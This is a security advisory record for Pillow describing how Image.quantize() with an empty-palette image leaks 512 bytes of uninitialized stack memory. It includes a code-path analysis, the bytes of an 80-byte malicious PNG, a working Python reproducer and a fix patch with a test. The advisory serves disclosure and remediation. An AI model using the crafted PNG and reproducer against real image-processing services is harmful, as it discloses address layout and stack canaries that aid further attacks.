{"schema_version":"1.9.0","id":"GHSA-rfgq-q3w2-pmv2","published":"2026-10-21T20:44:07Z","modified":"2026-10-21T21:00:06.704034642Z","aliases":["CVE-2026-112898"],"summary":"Pillow: Image.quantize() with empty palette leaks uninitialized stack memory","details":"```\n============================================================================\nImage.quantize() with empty palette leaks uninitialized stack memory\nLocation: src/libImaging/Palette.c:216  in ImagingPaletteCacheUpdate()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nWhen an application lets a user supply the palette image for Pillow's `Image.quantize(palette=...)`, the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.\n\nThe bug is in `ImagingPaletteCacheUpdate()` in `src/libImaging/Palette.c`. It fills a local `UINT8 c[512]` only inside loops bounded by `palette->size`. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. `topalette()` in `src/libImaging/Convert.c` then emits the cached values as output pixel indices. `topalette()` rejects a `NULL` palette but not one with `size == 0`. Three inputs produce such a zero-entry `\"P\"` image: a PNG with a zero-length `PLTE` chunk opened with `Image.open()`, a colour-mapped TGA with colour-map length 0, or a bare `Image.new(\"P\", ...)`. The attacker must control the *palette* image; the source image can be anything, and `RGB` sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own `[stack]` mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit `54cb09d8b48c` (first released in 9.1.0). The `Image.new(\"P\", ...)` route exists since 10.1.0.\n\n## Details\n\n`ImagingPaletteCacheUpdate()` (`src/libImaging/Palette.c:154`) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local `UINT8 c[512]` and then copies `c[]` into the cache. `c[]` is only ever written inside `for (i = 0; i < palette->size; i++)`. When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and `topalette()` (`src/libImaging/Convert.c:1145`) emits them as the output pixels of `Image.quantize(palette=...)`. The root cause is that `topalette()` only rejects a `NULL` palette, never one with `palette->size == 0`, while `ImagingPaletteCacheUpdate()` silently assumes `size >= 1`. A zero-entry `\"P\"` image is what `Image.open()` produces for a PNG whose `PLTE` chunk has length 0 (or a colour-mapped TGA with colour-map length 0); `Image.new(\"P\", size)` without a subsequent `putpalette()` yields one as well. Both dither modes (`Dither.NONE` and the default Floyd-Steinberg) are affected for `RGB` sources (an `L` source takes the grayscale copy path and never consults the cache).\n\nShowing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length `PLTE` and an all-zero `IDAT`:\n\n```\n89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c\n00000000 504c5445 4ba88955\n0000000b 49444154 789c6360c0040000140001 7dfe1eee\n00000000 49454e44 ae426082\n```\n\n```python\npal = Image.open(io.BytesIO(png)); pal.load()      # pal.mode == \"P\", pal.im.getpalette(\"RGB\") == b\"\"\nsrc = Image.new(\"RGB\", (512, 1))\nsrc.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])\nout = src.quantize(palette=pal, dither=Image.Dither.NONE)\nout.tobytes()        # 512 bytes, different in every process\n```\n\nThe 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for `r,g,b ∈ [0,32)`, in slot order, so `out.tobytes()` is exactly `c[0..511]`. Read as 64 little-endian 8-byte words and resolved against the same process's `/proc/self/maps`, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in `[stack]`, several in `[heap]`, `libc.so.6`, `libpython3.12.so` and `_imaging.cpython-312-x86_64-linux-gnu.so` — and 3 words equal to the thread's stack-protector canary (read from `fs:0x28` for comparison). The same PNG with a 3-byte `PLTE` (one entry) gives 512 zero bytes in every run. `out.save(buf, \"PNG\")` succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a `strip --strip-debug` copy of `_imaging.so` or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin `Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate`. With `Dither.NONE` `topalette` only copies the bytes, so the first `use of uninitialised value` is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside `topalette` (inlined into `ImagingConvert`), where the cached index is used to address `palette->palette`.\n\n### Code path\n\nFile → empty C palette. `PngImagePlugin.chunk_PLTE` (`src/PIL/PngImagePlugin.py:499-505`) stores the chunk payload whatever its length, `_open` wraps it as `ImagePalette.raw(\"RGB\", b\"\")` (`:836-838`), and `Image.load()` realises it with `self.im.putpalette(\"RGB\", \"RGB\", b\"\")` (`src/PIL/Image.py:989-990`). `_putpalette` (`src/_imaging.c:1850-1868`) rejects only more than 256 entries and sets `palette->size = palettesize * 8 / bits`, i.e. 0. `TgaImagePlugin._open` (`src/PIL/TgaImagePlugin.py:121-135`) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.\n\nAPI → sink. `Image.quantize(palette=pal)` (`src/PIL/Image.py:1329-1338`) checks only `palette.mode == \"P\"` and calls `self.im.convert(\"P\", dither, palette.im)` → `ImagingConvert` → `topalette(..., inpalette=<that palette>, dither)`. `topalette` tests the palette for `NULL` (`Convert.c:1162`, `:1178`) but not for `size == 0`, allocates the cache (every slot `0x100` = \"not computed\"), and for each source pixel:\n\n```c\n// src/libImaging/Convert.c:1319-1327  (non-dither path; the dither path at 1252-1265 is the same)\n                    cache = &ImagingPaletteCache(palette, r, g, b);\n                    if (cache[0] == 0x100) {\n                        ImagingPaletteCacheUpdate(palette, r, g, b);\n                    }\n                    …\n                        out[x] = (UINT8)cache[0];\n```\n\nInside `ImagingPaletteCacheUpdate` the only store to `c[]` is in step 2, and both step 1 and step 2 iterate over palette entries:\n\n```c\n// src/libImaging/Palette.c:160-161\n    unsigned int d[BOXVOLUME];\n    UINT8 c[BOXVOLUME];\n…\n// src/libImaging/Palette.c:212-221, 240-242\n    for (i = 0; i < BOXVOLUME; i++) {\n        d[i] = (unsigned int)~0;          /* d[] is initialised, c[] is not */\n    }\n    for (i = 0; i < palette->size; i++) { /* size == 0: body never runs */\n        if (dmin[i] <= dmax) {\n            …\n                        if ((unsigned int)bd < d[j]) {\n                            d[j] = bd;\n                            c[j] = (UINT8)i;\n                        }\n```\n\nFor any non-empty palette every slot is written: the entry that produced `dmax` passes `dmin[i] <= dmax`, and because `d[j]` starts at `~0` the first visiting entry always stores into `c[j]`. With `size == 0` the loop is skipped entirely and step 3 publishes the raw stack array:\n\n```c\n// src/libImaging/Palette.c:262-266\n    j = 0;\n    for (r = r0; r < r1; r += 4) {\n        for (g = g0; g < g1; g += 4) {\n            for (b = b0; b < b1; b += 4) {\n                ImagingPaletteCache(palette, r, g, b) = c[j++];\n```\n\n`cache[0]` is then ≤ 255 and `palette->palette` is a fixed 1024-byte array, so the subsequent `palette->palette[cache[0] * 4]` reads in the dither path stay in bounds; the defect is purely that stack contents become pixel values. Because no deeper call happens between successive `ImagingPaletteCacheUpdate` invocations in the pixel loop, every box yields the same 512 bytes — whatever earlier, deeper call chains (the PNG decode, the interpreter) left at that stack depth.\n\nThe behaviour was introduced in `54cb09d8b48c` (\"When converting to P, restrict colors to palette size\", 2022-02-16), first released in 9.1.0; before it, the cache update iterated over all 256 palette slots. The `Image.new(\"P\", ...)` route additionally depends on `fd310512b95a` (\"Set C palette to be empty by default\", first in 10.1.0); before that a fresh `\"P\"` image carried a 256-entry grey ramp.\n\n## Impact\n\nAn application that lets a user supply the reference palette image for `Image.quantize(palette=...)` — palette-swap / \"apply this palette\" features, sprite and GIF tooling, pixel-art converters — and returns the quantised result hands that user 512 bytes of the worker's C stack, encoded as pixel indices (directly readable from the saved PNG/GIF, since index values survive losslessly). In the build examined those bytes contain return addresses and frame pointers into the stack, heap, libc, libpython and `_imaging.so`, plus the stack-protector canary: an ASLR and canary disclosure from a long-lived server process, obtained with an 80-byte upload, no crash and no log entry. The precondition is that the attacker controls the *palette* image (the source image can be anything with at least one colour per cache box of interest); when the palette image is application-owned the path is not reachable. There is no out-of-bounds access and no memory corruption.\n\n## Reproducing\n\n`repro` is a short, single-file Python script that runs against the installed Pillow. It doesn't rebuild anything or start any other process, and it finishes in about 0.1 s.\n\n1. `png_with_plte()` builds a 4×4 palette-mode PNG (bit depth 8, colour type 3) around a given `PLTE` payload. With an empty payload it produces exactly the 80-byte file shown above.\n2. `quantize_against()` does what an \"apply this palette\" feature does: it opens the PNG with `Image.open()` and calls `quantize(palette=pal, dither=Image.Dither.NONE)` on a 512×1 RGB strip. The strip holds the colours `(r*4, g*4, b*4)` for `r, g, b` in `0..7`, one for each slot of the colour-cache box `r, g, b ∈ [0,32)` and in slot order. That makes output pixel `j` exactly `c[j]` of `ImagingPaletteCacheUpdate()`.\n3. **Control:** a one-entry `PLTE`. The only valid index is 0, and every output pixel is 0.\n4. **Attack:** the same PNG with a zero-length `PLTE`. `quantize()` returns an image without complaint, and its pixels contain about 80 distinct values.\n5. **Check:** the script reads the 512 output bytes as 64 little-endian 8-byte words and compares them with the `[stack]` range in the script's own `/proc/self/maps`. It prints each word that points into the stack. A typical run finds 8, e.g. `pixels 0..7 = 0x00007ffd959c3fa0 <- pointer into [stack]`. Pixel data can only hold stack addresses if it was copied from the stack.\n\nThe script prints `BUG` if the control is all zeros and at least two output words are stack addresses. It prints `OK` if `quantize()` rejects the empty palette with `ValueError`, which is what the attached patch does, or if the output has no stack pointers. The script was also checked against an out-of-tree rebuild, which is not part of the script. With the attached patch it prints `attack (empty PLTE): rejected: empty palette` / `OK`. With only the `Palette.c` half of the patch, the output is 512 zero bytes and it prints `OK`.\n\n## Suggested fix\n\nThe attached patch rejects an empty palette in `topalette()` before any work is done, with `ValueError(\"empty palette\")` in the same idiom as the neighbouring \"no palette\" / \"conversion not supported\" checks, so `Image.quantize()` raises a normal `ValueError`. It also zero-fills `c[]` alongside `d[]` in `ImagingPaletteCacheUpdate()` so no present or future caller can copy stack contents into the cache, and adds a regression test `test_empty_palette` to `Tests/test_image_quantize.py`. `quantize(palette=)` is the only path that hands a caller-supplied palette to `topalette()`; the `NULL`-palette branches always build 256- or 226-entry palettes and are unaffected. The one behaviour change is that quantizing against an empty palette (including a bare `Image.new(\"P\", ...)`) now raises instead of returning garbage indices. The C changes:\n\n```diff\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n     alpha = mode == IMAGING_MODE_PA;\n \n+    if (palette != NULL && palette->size <= 0) {\n+        return (Imaging)ImagingError_ValueError(\"empty palette\");\n+    }\n+\n     if (palette == NULL) {\n         /* FIXME: make user configurable */\n         if (imIn->bands == 1) {\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n     for (i = 0; i < BOXVOLUME; i++) {\n         d[i] = (unsigned int)~0;\n+        c[i] = 0;\n     }\n \n     for (i = 0; i < palette->size; i++) {\n```\n\nApplied to a clean copy of the tree and rebuilt, the reproducer's attack step fails with `ValueError: empty palette` and the script prints `OK`; the one-entry control is unchanged. Apart from the regression test, the patch does not touch the Python code in `src/PIL`. Optionally `PngImagePlugin.chunk_PLTE` could additionally raise `SyntaxError` for a `PLTE` whose length is 0 or not a multiple of 3, as the PNG specification requires 1–256 entries, and `Image.quantize()` could raise a clearer Python-level error when `palette.palette` is empty.\n\n## The patch\n\nRaise ValueError in topalette() for a palette with no entries and zero-initialise the cache slot array in ImagingPaletteCacheUpdate()\n\nApplies to `src/libImaging/Convert.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_image_quantize.py b/Tests/test_image_quantize.py\nindex 887628560..dcd1d901e 100644\n--- a/Tests/test_image_quantize.py\n+++ b/Tests/test_image_quantize.py\n@@ -179,3 +179,13 @@ def test_small_palette() -> None:\n     quantized_colors = im.getcolors()\n     assert quantized_colors is not None\n     assert len(quantized_colors) == 2\n+\n+\n+def test_empty_palette() -> None:\n+    im = hopper()\n+\n+    p = Image.new(\"P\", (1, 1))\n+    p.putpalette(b\"\")\n+\n+    with pytest.raises(ValueError):\n+        im.quantize(palette=p)\ndiff --git a/src/libImaging/Convert.c b/src/libImaging/Convert.c\nindex 4a35a9a1f..7746d9255 100644\n--- a/src/libImaging/Convert.c\n+++ b/src/libImaging/Convert.c\n@@ -1159,6 +1159,10 @@ topalette(\n \n     alpha = mode == IMAGING_MODE_PA;\n \n+    if (palette != NULL && palette->size <= 0) {\n+        return (Imaging)ImagingError_ValueError(\"empty palette\");\n+    }\n+\n     if (palette == NULL) {\n         /* FIXME: make user configurable */\n         if (imIn->bands == 1) {\ndiff --git a/src/libImaging/Palette.c b/src/libImaging/Palette.c\nindex b2dacf656..ceb69d3dc 100644\n--- a/src/libImaging/Palette.c\n+++ b/src/libImaging/Palette.c\n@@ -211,6 +211,7 @@ ImagingPaletteCacheUpdate(ImagingPalette palette, int r, int g, int b) {\n \n     for (i = 0; i < BOXVOLUME; i++) {\n         d[i] = (unsigned int)~0;\n+        c[i] = 0;\n     }\n \n     for (i = 0; i < palette->size; i++) {\n```\n\n## The reproducer\n\n<details>\n<summary>Reproducer — <code>repro</code>, 2,975 bytes (click to open)</summary>\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow: Image.quantize(palette=<P image with an empty palette>) returns\n# uninitialised C stack bytes as pixel values.\n#\n# ImagingPaletteCacheUpdate() (src/libImaging/Palette.c) only writes its local\n# UINT8 c[512] inside `for (i = 0; i < palette->size; i++)`. A PNG with a\n# zero-length PLTE chunk gives palette->size == 0, so c[] is never written and\n# its raw stack contents are copied into the colour cache, which topalette()\n# (src/libImaging/Convert.c) then emits as the output pixels.\nimport io\nimport struct\nimport zlib\n\nfrom PIL import Image\n\n\ndef png_with_plte(plte):\n    \"\"\"A 4x4 palette-mode (colour type 3) PNG whose PLTE chunk holds `plte`.\"\"\"\n    def chunk(tag, data):\n        return (struct.pack(\">I\", len(data)) + tag + data\n                + struct.pack(\">I\", zlib.crc32(tag + data)))\n    ihdr = struct.pack(\">IIBBBBB\", 4, 4, 8, 3, 0, 0, 0)\n    pixels = zlib.compress(b\"\\x00\" * 4 * 5)\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", ihdr) + chunk(b\"PLTE\", plte)\n            + chunk(b\"IDAT\", pixels) + chunk(b\"IEND\", b\"\"))\n\n\ndef quantize_against(palette_png):\n    \"\"\"What an \"apply this palette\" feature does with an uploaded palette image.\"\"\"\n    pal = Image.open(io.BytesIO(palette_png))\n    # 512 colours, one per slot of the colour-cache box r,g,b in [0,32), in slot\n    # order: output pixel j is exactly c[j] of ImagingPaletteCacheUpdate().\n    src = Image.new(\"RGB\", (512, 1))\n    src.putdata([(r * 4, g * 4, b * 4)\n                 for r in range(8) for g in range(8) for b in range(8)])\n    return src.quantize(palette=pal, dither=Image.Dither.NONE).tobytes()\n\n\ndef stack_range():\n    for line in open(\"/proc/self/maps\"):\n        if line.rstrip().endswith(\"[stack]\"):\n            lo, hi = line.split()[0].split(\"-\")\n            return int(lo, 16), int(hi, 16)\n\n\n# Control: a one-entry palette -- every pixel must map to index 0.\ncontrol = quantize_against(png_with_plte(b\"\\x10\\x20\\x30\"))\nprint(f\"control (1-entry PLTE): distinct pixel values = {sorted(set(control))}\")\n\n# Attack: the same PNG with an empty PLTE chunk (80 bytes).\ntry:\n    leaked = quantize_against(png_with_plte(b\"\"))\nexcept ValueError as e:\n    print(f\"attack (empty PLTE): rejected: {e}\")\n    print(\"OK\")\n    raise SystemExit\n\nprint(f\"attack  (empty PLTE): {len(set(leaked))} distinct pixel values; first 64 bytes:\")\nprint(f\"  {leaked[:64].hex()}\")\n\n# Read the 512 pixel bytes as 64 little-endian words; any word that is an\n# address inside this process's own stack can only have come from the stack.\nlo, hi = stack_range()\nprint(f\"this process's [stack] mapping: {lo:#x}-{hi:#x}\")\nstack_ptrs = 0\nfor i in range(0, 512, 8):\n    word = int.from_bytes(leaked[i:i + 8], \"little\")\n    if lo <= word < hi:\n        stack_ptrs += 1\n        print(f\"  pixels {i:3d}..{i + 7:3d} = {word:#018x}  <- pointer into [stack]\")\n\nprint(f\"{stack_ptrs} of 64 words of the output image are stack addresses\")\nprint(\"BUG\" if set(control) == {0} and stack_ptrs >= 2 else \"OK\")\n```\n</details>\n\n---","affected":[{"package":{"name":"pillow","ecosystem":"PyPI","purl":"pkg:pypi/pillow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.1.0"},{"fixed":"13.0.0"}]}],"versions":["10.0.0","10.0.1","10.1.0","10.2.0","10.3.0","10.4.0","11.0.0","11.1.0","11.2.1","11.3.0","12.0.0","12.1.0","12.1.1","12.2.0","12.3.0","9.1.0","9.1.1","9.2.0","9.3.0","9.4.0","9.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-rfgq-q3w2-pmv2/GHSA-rfgq-q3w2-pmv2.json"}}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112898"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"}],"database_specific":{"cwe_ids":["CWE-457"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T20:44:07Z","nvd_published_at":"2026-10-19T22:17:10Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}]}